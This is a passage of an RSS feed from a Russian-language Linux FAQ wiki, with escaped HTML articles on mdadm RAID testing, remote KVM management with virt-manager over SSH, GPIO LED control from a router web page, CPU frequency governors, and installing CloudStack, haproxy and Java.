Чтобы проверить работу сервиса без перезагрузки можно стартануть сервис командой:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;service xenguest start&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u0442\u0430\u0432\u0438\u043c xentools&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u0442\u0430\u0432\u0438\u043c_xentools&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;172-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>тестирование-стабильности-raida</title>
            <link>https://wiki.autosys.tk/linux_faq/%D1%82%D0%B5%D1%81%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5-%D1%81%D1%82%D0%B0%D0%B1%D0%B8%D0%BB%D1%8C%D0%BD%D0%BE%D1%81%D1%82%D0%B8-raida</link>
            <description>
&lt;p&gt;
Для тестирования массива &lt;strong&gt;/dev/md0&lt;/strong&gt; мы будем помечать один диск как сбойный и извлекать его из массива, а потом - подключать его обратно!&lt;br/&gt;

Пометим диск &lt;strong&gt;/dev/sdf1&lt;/strong&gt; как сбойный и посмотрим что получилось:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;  root@backup:~# mdadm /dev/md0 -f /dev/sdf1
    mdadm: set /dev/sdf1 faulty in /dev/md0

    root@backup:~# cat /proc/mdstat
    Personalities : [raid6] [raid5] [raid4]
    md0 : active raid6 sdh1[0] sdf1[6](F) sde1[5] sdd1[4] sdc1[3] sdb1[2] sda1[1]
          14651317760 blocks super 1.2 level 6, 512k chunk, algorithm 2 [7/6] [UUUUUU_]
         
    unused devices: &amp;lt;none&amp;gt; &lt;/pre&gt;

&lt;p&gt;
Теперь у нас появился сбойный диск.&lt;br/&gt;

Удалим его из массива, сделаем вид, что сбегали в магазин, купили новый винт, разбили по всем правилам и установили на законное место в 8-й слот.&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;  root@backup:~# mdadm /dev/md0 -r /dev/sdf1
    mdadm: hot removed /dev/sdf1 from /dev/md0
    
    root@backup:~# mdadm /dev/md0 -a /dev/sdf1
    mdadm: re-added /dev/sdf1
    
    root@backup:~# cat /proc/mdstat
    Personalities : [raid6] [raid5] [raid4]
    md0 : active raid6 sdf1[6] sdh1[0] sde1[5] sdd1[4] sdc1[3] sdb1[2] sda1[1]
          14651317760 blocks super 1.2 level 6, 512k chunk, algorithm 2 [7/6] [UUUUUU_]
          [&amp;gt;....................]  recovery =  0.0% (301708/2930263552) finish=647.4min speed=75427K/sec
         
    unused devices: &amp;lt;none&amp;gt;&lt;/pre&gt;

&lt;p&gt;
Ура, массив пересобирается!&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Проверку целостности программного массива можно запустить так:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;echo &amp;#039;check&amp;#039; &amp;gt;/sys/block/md0/md/sync_action&lt;/pre&gt;

&lt;p&gt;
Ошибки, возникшие в процессе проверки программного RAID-массива (check или repair), можно поглядеть так:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cat /sys/block/md0/md/mismatch_cnt&lt;/pre&gt;

&lt;p&gt;
Скорость восстановления (recovery) можно изменить так:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;echo 100000 &amp;gt; /sys/block/md0/md/sync_speed_min&lt;/pre&gt;

&lt;p&gt;
Если диск был отключен физически, то при любых попытках что-то сделать (например пометить диск как сбойный) будет ошибка:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mdadm: cannot find /dev/sda1: No such file or directory &lt;/pre&gt;

&lt;p&gt;
Для предотвращения этого надо выполнить &lt;strong&gt;detach&lt;/strong&gt;:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mdadm /dev/md1 -r detached &lt;/pre&gt;

&lt;p&gt;
&lt;br/&gt;

Если &lt;strong&gt;mdadm /dev/md1 -r detached&lt;/strong&gt; выполняется, но заканчивается ничем, то нужно убедить mdadm в том. что диска больше нет. для этого вполняем принудительный &lt;strong&gt;resync&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;echo check &amp;gt; /sys/block/mdX/md/sync_action&lt;/pre&gt;

&lt;p&gt;
В результате мертвые диски пометятся как Failed.
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>удаленное-подключение-к-kvm-с-помощью-virt-manager</title>
            <link>https://wiki.autosys.tk/linux_faq/%D1%83%D0%B4%D0%B0%D0%BB%D0%B5%D0%BD%D0%BD%D0%BE%D0%B5-%D0%BF%D0%BE%D0%B4%D0%BA%D0%BB%D1%8E%D1%87%D0%B5%D0%BD%D0%B8%D0%B5-%D0%BA-kvm-%D1%81-%D0%BF%D0%BE%D0%BC%D0%BE%D1%89%D1%8C%D1%8E-virt-manager</link>
            <description>
&lt;p&gt;
Итак вы подняли очередной хост &lt;strong&gt;KVM&lt;/strong&gt; на базе &lt;strong&gt;Ubuntu&lt;/strong&gt; и решили подключиться к нему удаленно с помощью &lt;strong&gt;virt-manager&lt;/strong&gt;.&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install qemu-kvm libvirt-bin ubuntu-vm-builder bridge-utils&lt;/pre&gt;

&lt;p&gt;
Проще всего использовать подключение по &lt;strong&gt;SSH&lt;/strong&gt;.&lt;br/&gt;

Сначала настраиваем авторизацию по ключам.&lt;br/&gt;

На клиентской машине, с которой мы будем рулить удаленным сервером &lt;strong&gt;KVM&lt;/strong&gt; запускаем:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;ssh-keygen -t rsa&lt;/pre&gt;

&lt;p&gt;
Место сохранения ключей оставляем по-умолчанию, ключевую фразу оставляем пустой.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Затем копируем соотвествующую часть ключа на удаленный хост:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;ssh-copy-id -i ~/.ssh/id_rsa.pub user@remote_host&lt;/pre&gt;

&lt;p&gt;
Тут &lt;strong&gt;user&lt;/strong&gt; - имя пользователя на удаленной машине. Если имя локального пользователя и имя на удаленной машине совпадают - &lt;strong&gt;user@&lt;/strong&gt; можно не писать.&lt;br/&gt;

Или можно вручную доставить публичный ключ на удаленный хост и установить его в качестве &lt;strong&gt;authorized key&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cat ~/.ssh/id_rsa.pub | ssh username@server.address.com &amp;#039;cat &amp;gt;&amp;gt; ~/.ssh/authorized_keys&amp;#039;&lt;/pre&gt;

&lt;p&gt;
Проверяем, что все получилось - коннектимся:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;ssh user@remote_host&lt;/pre&gt;

&lt;p&gt;
Если имя локального пользователя и имя на удаленной машине совпадают - &lt;strong&gt;user@&lt;/strong&gt; можно не писать.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Дальше переходим к настройке хоста &lt;strong&gt;KVM&lt;/strong&gt;.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Сначала - отключаем подключения &lt;strong&gt;TLS&lt;/strong&gt;. Для этого в файле &lt;strong&gt;/etc/libvirt/libvirtd.conf&lt;/strong&gt; раскомментируем строку:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#listen_tls = 0&lt;/pre&gt;

&lt;p&gt;
Затем - добавляем пользователя в группу &lt;strong&gt;libvirtd&lt;/strong&gt;, которая имеет права на подключение к соответствующему сокету: &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo usermod -a -G libvirtd username&lt;/pre&gt;

&lt;p&gt;
В более новых системах (Ubuntu 19.04) группа называется &lt;strong&gt;libvirt&lt;/strong&gt; (без d на конце): &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo usermod -a -G libvirt username&lt;/pre&gt;

&lt;p&gt;
Собственно все. &lt;br/&gt;

В &lt;strong&gt;virt-manager&lt;/strong&gt; создаем новое подключение. Жмакаем &lt;strong&gt;Connect to remote host&lt;/strong&gt;.&lt;br/&gt;

&lt;strong&gt;Method&lt;/strong&gt; - SSH.&lt;br/&gt;

&lt;strong&gt;Username&lt;/strong&gt; - имя пользователя на удаленной машине.&lt;br/&gt;

&lt;strong&gt;Hostname&lt;/strong&gt; - адрес удаленного компа&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Если все сделано правильно - система подключит удаленный хост.&lt;br/&gt;

&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Thu, 04 Jul 2019 09:54:50 +0000</pubDate>
        </item>
        <item>
            <title>управление-светодиодами-gpio-из-http</title>
            <link>https://wiki.autosys.tk/linux_faq/%D1%83%D0%BF%D1%80%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5-%D1%81%D0%B2%D0%B5%D1%82%D0%BE%D0%B4%D0%B8%D0%BE%D0%B4%D0%B0%D0%BC%D0%B8-gpio-%D0%B8%D0%B7-http</link>
            <description>
&lt;p&gt;
Вебморда фактически состоит из двух файлов - скрипт, который зажигает светодиоды в зависимости от аргумента и &lt;abbr title=&quot;HyperText Markup Language&quot;&gt;HTML&lt;/abbr&gt; страница.&lt;br/&gt;

При нажатии на кнопку вебморды запускается скрипт с нужным параметром, а при отпускании - скрипт с аргументом &amp;#039;stop&amp;#039;&lt;br/&gt;

Скрипт сделан для роутера TP-Link 3040&lt;br/&gt;

Для того чтобы отключить штатные триггеры диодов (на данном роутере) надо выгрузить и обратно загрузить модуль &lt;strong&gt;leds-gpio&lt;/strong&gt;:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;rmmod leds-gpio
insmod leds-gpio&lt;/pre&gt;

&lt;p&gt;
Для других контроллеров GPIO надо заменить команды :)&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
вот скрипт &lt;strong&gt;/www/cgi-bin/ctrl_led&lt;/strong&gt;:&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
а вот вебстраница &lt;strong&gt;/www/edem.html&lt;/strong&gt;:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;title&amp;gt;Relay control&amp;lt;/title&amp;gt;
    &amp;lt;meta http-equiv=&amp;quot;content-type&amp;quot; content=&amp;quot;text/html; charset=utf-8&amp;quot;&amp;gt;
    &amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;
        function command(action)
        {
            url=&amp;quot;/cgi-bin/ctrl_led?command=&amp;quot;+action;
            url=url+&amp;quot;&amp;amp;fuie=&amp;quot; + Math.random(); 
            var xmlhttp=new XMLHttpRequest(); 
            xmlhttp.open(&amp;quot;GET&amp;quot;,url,false);
            xmlhttp.send();
        }

function Init () {
            var left_button = document.getElementById (&amp;quot;left&amp;quot;);
            if (left_button.addEventListener) {  // all browsers except IE before version 9
                left_button.addEventListener (&amp;quot;mousedown&amp;quot;, function () {command (&amp;#039;left&amp;#039;)}, false);
                left_button.addEventListener (&amp;quot;mouseup&amp;quot;, function () {command (&amp;#039;stop&amp;#039;)}, false);
            }
            else {
                if (left_button.attachEvent) {   // IE before version 9
                    left_button.attachEvent (&amp;quot;onmousedown&amp;quot;, function () {command (&amp;#039;left&amp;#039;)});
                    left_button.attachEvent (&amp;quot;onmouseup&amp;quot;, function () {command (&amp;#039;stop&amp;#039;)});
                }
            }

	var right_button = document.getElementById (&amp;quot;right&amp;quot;);
            if (right_button.addEventListener) {  // all browsers except IE before version 9
                right_button.addEventListener (&amp;quot;mousedown&amp;quot;, function () {command (&amp;#039;right&amp;#039;)}, false);
                right_button.addEventListener (&amp;quot;mouseup&amp;quot;, function () {command (&amp;#039;stop&amp;#039;)}, false);
            }
            else {
                if (right_button.attachEvent) {   // IE before version 9
                    right_button.attachEvent (&amp;quot;onmousedown&amp;quot;, function () {command (&amp;#039;right&amp;#039;)});
                    right_button.attachEvent (&amp;quot;onmouseup&amp;quot;, function () {command (&amp;#039;stop&amp;#039;)});
                }
            }

	var forward_button = document.getElementById (&amp;quot;forward&amp;quot;);
            if (forward_button.addEventListener) {  // all browsers except IE before version 9
                forward_button.addEventListener (&amp;quot;mousedown&amp;quot;, function () {command (&amp;#039;forward&amp;#039;)}, false);
                forward_button.addEventListener (&amp;quot;mouseup&amp;quot;, function () {command (&amp;#039;stop&amp;#039;)}, false);
            }
            else {
                if (forward_button.attachEvent) {   // IE before version 9
                    forward_button.attachEvent (&amp;quot;onmousedown&amp;quot;, function () {command (&amp;#039;forward&amp;#039;)});
                    forward_button.attachEvent (&amp;quot;onmouseup&amp;quot;, function () {command (&amp;#039;stop&amp;#039;)});
                }
            }
        }

    &amp;lt;/script&amp;gt;

&amp;lt;/head&amp;gt;

&amp;lt;body onload=&amp;quot;Init()&amp;quot;&amp;gt;

&amp;lt;button id=&amp;quot;left&amp;quot; type=&amp;quot;button&amp;quot;&amp;gt;Left&amp;lt;/button&amp;gt;
&amp;lt;button id=&amp;quot;right&amp;quot; type=&amp;quot;button&amp;quot;&amp;gt;Right&amp;lt;/button&amp;gt;
&amp;lt;button id=&amp;quot;forward&amp;quot; type=&amp;quot;button&amp;quot;&amp;gt;Forward&amp;lt;/button&amp;gt;

&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/pre&gt;

&lt;p&gt;
Схема подключения моторов:&lt;br/&gt;

&lt;a href=&quot;http://farm5.static.flickr.com/4026/4321991080_867e7afb5f_o.jpg&quot; class=&quot;urlextern&quot; title=&quot;http://farm5.static.flickr.com/4026/4321991080_867e7afb5f_o.jpg&quot; rel=&quot;ugc nofollow&quot;&gt;http://farm5.static.flickr.com/4026/4321991080_867e7afb5f_o.jpg&lt;/a&gt;&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Ссылки:&lt;br/&gt;

&lt;a href=&quot;http://habrahabr.ru/post/151982/&quot; class=&quot;urlextern&quot; title=&quot;http://habrahabr.ru/post/151982/&quot; rel=&quot;ugc nofollow&quot;&gt;http://habrahabr.ru/post/151982/&lt;/a&gt;&lt;br/&gt;

&lt;a href=&quot;http://habrahabr.ru/post/76128/&quot; class=&quot;urlextern&quot; title=&quot;http://habrahabr.ru/post/76128/&quot; rel=&quot;ugc nofollow&quot;&gt;http://habrahabr.ru/post/76128/&lt;/a&gt; - тут делают робота на базе атмега… нас интересует схема подключения драйверов мотора L293D&lt;br/&gt;

&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>управление-частотои-процессора-из-команднои-строки- ...</title>
            <link>https://wiki.autosys.tk/linux_faq/%D1%83%D0%BF%D1%80%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5-%D1%87%D0%B0%D1%81%D1%82%D0%BE%D1%82%D0%BE%D0%B8-%D0%BF%D1%80%D0%BE%D1%86%D0%B5%D1%81%D1%81%D0%BE%D1%80%D0%B0-%D0%B8%D0%B7-%D0%BA%D0%BE%D0%BC%D0%B0%D0%BD%D0%B4%D0%BD%D0%BE%D0%B8-%D1%81%D1%82%D1%80%D0%BE%D0%BA%D0%B8-ubuntu</link>
            <description>
&lt;p&gt;
Управление частотой процессора бывает актуально довольно часто.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Для управления частотой процессора нужно установить пакет &lt;strong&gt;cpufrequtils&lt;/strong&gt;.&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install cpufrequtils&lt;/pre&gt;

&lt;p&gt;
При установке пакета &lt;strong&gt;cpufrequtils&lt;/strong&gt; в &lt;strong&gt;/etc/init.d/&lt;/strong&gt; добавляются скрипты &lt;strong&gt;loadcpufreq&lt;/strong&gt; и &lt;strong&gt;cpufrequtils&lt;/strong&gt;. &lt;br/&gt;

Скрипт &lt;strong&gt;loadcpufreq&lt;/strong&gt; определяет по типу процессора и загружает необходимые модули ядра для управления частотой процессора. &lt;br/&gt;

Скрипт &lt;strong&gt;cpufrequtils&lt;/strong&gt; устанавливает политику управления частотой процессора (governors policy).&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Доступны несколько политик управления частотой (governors policy):&lt;br/&gt;

&lt;strong&gt;performance&lt;/strong&gt; - устанавливает постоянную максимально возможную частоту процессора&lt;br/&gt;

&lt;strong&gt;powersave&lt;/strong&gt; - устанавливает постоянную минимально возможную частоту процессора&lt;br/&gt;

&lt;strong&gt;ondemand&lt;/strong&gt; - устанавливает частоту процессора динамически в зависимости от текущей нагрузки (подходит для десктопов)&lt;br/&gt;

&lt;strong&gt;conservative&lt;/strong&gt; - аналогично ondemand, динамически устанавливает частоту процессора в зависимости от нагрузки, но делает это менее агрессивно (подходит для ноутбуков)&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Сразу после установки пакета чтобы активировать управление частотой процессора нужно выполнить в командной строке:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo /etc/init.d/loadcpufreq start
sudo /etc/init.d/cpufrequtils start&lt;/pre&gt;

&lt;p&gt;
По умолчанию используется политика &lt;strong&gt;ondemand&lt;/strong&gt;. Для изменения политики по умолчанию нужно отредактировать строку &lt;strong&gt;GOVERNOR=“ondemand”&lt;/strong&gt; в скрипте &lt;strong&gt;/etc/init.d/cpufrequtils&lt;/strong&gt;, вписав вместо &lt;strong&gt;ondemand&lt;/strong&gt; желаемую политику.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
На моей системе автоматически создался еще один скрипт - &lt;strong&gt;/etc/init.d/ondemand&lt;/strong&gt;. В нем прописано включение режима &lt;strong&gt;ondemand&lt;/strong&gt;. Так что править нужно и его. Или просто отключать.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Посмотреть текущую частоту процессора и используемую политику управления частотой можно выполнив в командной строке:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;/usr/bin/cpufreq-info&lt;/pre&gt;

&lt;p&gt;
Вывод команды &lt;strong&gt;cpufreq-info&lt;/strong&gt; также покажет доступные политики управления частотой (governors policy), используемый драйвер (модуль ядра), доступный шаг изменения частоты процессора, аппаратные ограничения на изменение частоты процессора.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Для того чтобы изменить политику, например на &lt;strong&gt;conservative&lt;/strong&gt;, можно также воспользоваться утилитой cpufreq-set, выполнив:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo /usr/bin/cpufreq-set -g conservative&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 18 Mar 2019 10:55:27 +0000</pubDate>
        </item>
        <item>
            <title>установка-cloud-stack-4-4-на-ubuntu-14-04</title>
            <link>https://wiki.autosys.tk/linux_faq/%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0-cloud-stack-4-4-%D0%BD%D0%B0-ubuntu-14-04</link>
            <description>&lt;pre class=&quot;code&quot;&gt;sudo echo &amp;#039;deb http://cloudstack.apt-get.eu/ubuntu trusty 4.4&amp;#039; &amp;gt; /etc/apt/sources.list.d/cloudstack.list&lt;/pre&gt;

&lt;p&gt;
 &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get update &amp;amp;&amp;amp; apt-get install mysql-server openntpd cloudstack-management selinux-utils &lt;/pre&gt;

&lt;p&gt;
Добавляем в файл &lt;strong&gt;nano /etc/mysql/my.cnf&lt;/strong&gt; в раздел  &lt;strong&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/mysqld&quot; class=&quot;wikilink2&quot; title=&quot;linux_faq:mysqld&quot; rel=&quot;nofollow&quot; data-wiki-id=&quot;linux_faq:mysqld&quot;&gt;mysqld&lt;/a&gt;&lt;/strong&gt; строчки:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;innodb_rollback_on_timeout=1
innodb_lock_wait_timeout=600
max_connections=350
log-bin=mysql-bin
binlog-format = &amp;#039;ROW&amp;#039;&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt; echo &amp;#039;SELINUX=permissive&amp;#039; &amp;gt; /etc/selinux/config
setenforce permissive&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;sudo cloudstack-setup-databases cloud:_cloud_user_password_@localhost --deploy-as=root:_mysql_root_pasword_&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;sudo cloudstack-setup-management&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>установка-haproxy-на-debian-wheezy</title>
            <link>https://wiki.autosys.tk/linux_faq/%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0-haproxy-%D0%BD%D0%B0-debian-wheezy</link>
            <description>
&lt;p&gt;
Для установки haproxy в debian wheezy нужно включить wheezy-backports.&lt;br/&gt;

Для этого в файл  &lt;strong&gt;/etc/apt/sources.list&lt;/strong&gt; нужно добавить строки:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;deb     http://mirrors.kernel.org/debian wheezy-backports main contrib
deb-src http://mirrors.kernel.org/debian wheezy-backports main contrib&lt;/pre&gt;

&lt;p&gt;
И выполняем &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;apt-get update&lt;/pre&gt;

&lt;p&gt;
А дальше ставим:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;apt-get install haproxy&lt;/pre&gt;

&lt;p&gt;
В репозитариях обычно лежит старая версия, например 1.4, а она не умеет SSL SNI. Поэтому компилируем из исходников:&lt;br/&gt;

&lt;a href=&quot;http://www.pylon-decisionware.com/blog/install-haproxy-source-ubuntu&quot; class=&quot;urlextern&quot; title=&quot;http://www.pylon-decisionware.com/blog/install-haproxy-source-ubuntu&quot; rel=&quot;ugc nofollow&quot;&gt;http://www.pylon-decisionware.com/blog/install-haproxy-source-ubuntu&lt;/a&gt;&lt;br/&gt;

или в CentOS&lt;br/&gt;

&lt;a href=&quot;http://myvirtualife.net/2013/08/19/how-to-build-a-load-balancer-with-haproxy/&quot; class=&quot;urlextern&quot; title=&quot;http://myvirtualife.net/2013/08/19/how-to-build-a-load-balancer-with-haproxy/&quot; rel=&quot;ugc nofollow&quot;&gt;http://myvirtualife.net/2013/08/19/how-to-build-a-load-balancer-with-haproxy/&lt;/a&gt;&lt;br/&gt;

или так:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;apt-get install wget libssl-dev libpcre3 libpcre3-dev make gcc   # this installs prerequisites
wget http://haproxy.1wt.eu/download/1.5/src/devel/haproxy-1.5-dev21.tar.gz     # download the package
tar xzvf haproxy-1.5-dev21.tar.gz                          # extracting
cd haproxy-1.5-dev21                                       # enter the extracted directory
make TARGET=linux26 USE_OPENSSL=1 USE_ZLIB=1 USE_PCRE=1     # i compile it with compression and ssl support; use CPU=x86_64 for x64 or CPU=i686
make install     # install&lt;/pre&gt;

&lt;p&gt;
Балансировка в зависимости от имени хоста (reverse proxy)&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;frontend http_proxy
bind 192.168.4.99:80
acl is_demo hdr_dom(host) demo.domain.ru
acl is_demo2 hdr_dom(host) demo2.domain.ru
use_backend cluster1 if is_demo
use_backend cluster2 if is_demo2

backend cluster1
server server1 87.250.251.3:80

backend cluster2
server server2 81.19.85.87:80&lt;/pre&gt;

&lt;p&gt;
Перезапустим:&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
 service haproxy restart&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
домены demo.domain.ru и demo2.domain.ru имеют одинаковые ip&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
При заходе через браузер на &lt;a href=&quot;http://demo.domain.ru&quot; class=&quot;urlextern&quot; title=&quot;http://demo.domain.ru&quot; rel=&quot;ugc nofollow&quot;&gt;http://demo.domain.ru&lt;/a&gt; получаем контент с 87.250.251.3:80&lt;br/&gt;

а если урл — &lt;a href=&quot;http://demo2.domain.ru&quot; class=&quot;urlextern&quot; title=&quot;http://demo2.domain.ru&quot; rel=&quot;ugc nofollow&quot;&gt;http://demo2.domain.ru&lt;/a&gt;, то с 81.19.85.87:80&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Балансировка в режиме tcp:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;frontend https-c-in
   bind 178.79.xxx.xxx:443
   mode tcp
   default_backend c-https

backend c-https
   balance source
   mode tcp
   option ssl-hello-chk
   server  c-web-01 192.168.xxx.xxx:443 check inter 2000 rise 2 fall 5&lt;/pre&gt;

&lt;p&gt;
&lt;a href=&quot;http://serverfault.com/questions/523998/unable-to-configure-haproxy-with-ssl&quot; class=&quot;urlextern&quot; title=&quot;http://serverfault.com/questions/523998/unable-to-configure-haproxy-with-ssl&quot; rel=&quot;ugc nofollow&quot;&gt;http://serverfault.com/questions/523998/unable-to-configure-haproxy-with-ssl&lt;/a&gt;
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>установка-java-runtime-в-ubuntu-14-04</title>
            <link>https://wiki.autosys.tk/linux_faq/%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0-java-runtime-%D0%B2-ubuntu-14-04</link>
            <description>
&lt;p&gt;
В Ubuntu 14.04 компоненты Oracle Java Runtime не ставятся по-умолчанию. И их надо скачивать и устанавливать специально.&lt;br/&gt;

В Ubuntu и Debian установка сводится к скачиванию архива, распаковке и созданию ссылки на &lt;strong&gt;libnpjp2.so&lt;/strong&gt; в директории &lt;strong&gt;plugins&lt;/strong&gt; браузера.  &lt;br/&gt;

Итак. &lt;br/&gt;

Сначала надо удалить пакет OpenJDK, если он установлен. &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get purge openjdk-\*&lt;/pre&gt;

&lt;p&gt;
Скачиваем пакет для своей системы тут: &lt;a href=&quot;http://java.com/en/download/&quot; class=&quot;urlextern&quot; title=&quot;http://java.com/en/download/&quot; rel=&quot;ugc nofollow&quot;&gt;http://java.com/en/download/&lt;/a&gt;&lt;br/&gt;

Потом копируем файл с архивом туда где будет храниться Java Runtime распаковываем:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mkdir /usr/java
cp ./jre-7u60-linux-x64.tar.gz /usr/java
cd /usr/java
tar -xvzf ./jre-7u60-linux-x64.tar.gz&lt;/pre&gt;

&lt;p&gt;
Теперь создаем в папке с исполняемыми файлами браузера папку &lt;strong&gt;plugins&lt;/strong&gt; и создаем в ней ссылку на &lt;strong&gt;libnpjp2.so&lt;/strong&gt;:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mkdir /usr/lib/mozilla/plugins
cd /usr/lib/mozilla/plugins
ln -s /usr/java/jre1.7.0_60/lib/amd64/libnpjp2.so&lt;/pre&gt;

&lt;p&gt;
Перезапускам браузер и проверяем что получилось:&lt;br/&gt;

&lt;a href=&quot;http://java.com/en/download/installed.jsp?detect=jre&amp;amp;try=1&quot; class=&quot;urlextern&quot; title=&quot;http://java.com/en/download/installed.jsp?detect=jre&amp;amp;try=1&quot; rel=&quot;ugc nofollow&quot;&gt;http://java.com/en/download/installed.jsp?detect=jre&amp;amp;try=1&lt;/a&gt;&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Там в маленьком оконке жмакаем &lt;strong&gt;Activate Java&lt;/strong&gt; и убеждаемся что все получилось.&lt;br/&gt;

&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>установка-kerio-vpn-client-на-ubuntu-x64</title>
            <link>https://wiki.autosys.tk/linux_faq/%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0-kerio-vpn-client-%D0%BD%D0%B0-ubuntu-x64</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;установка&quot;&gt;Установка&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Сначал ставим 32-битные библиотеки и необходимые &lt;strong&gt;debconf&lt;/strong&gt; и &lt;strong&gt;openssl&lt;/strong&gt;&lt;br/&gt;

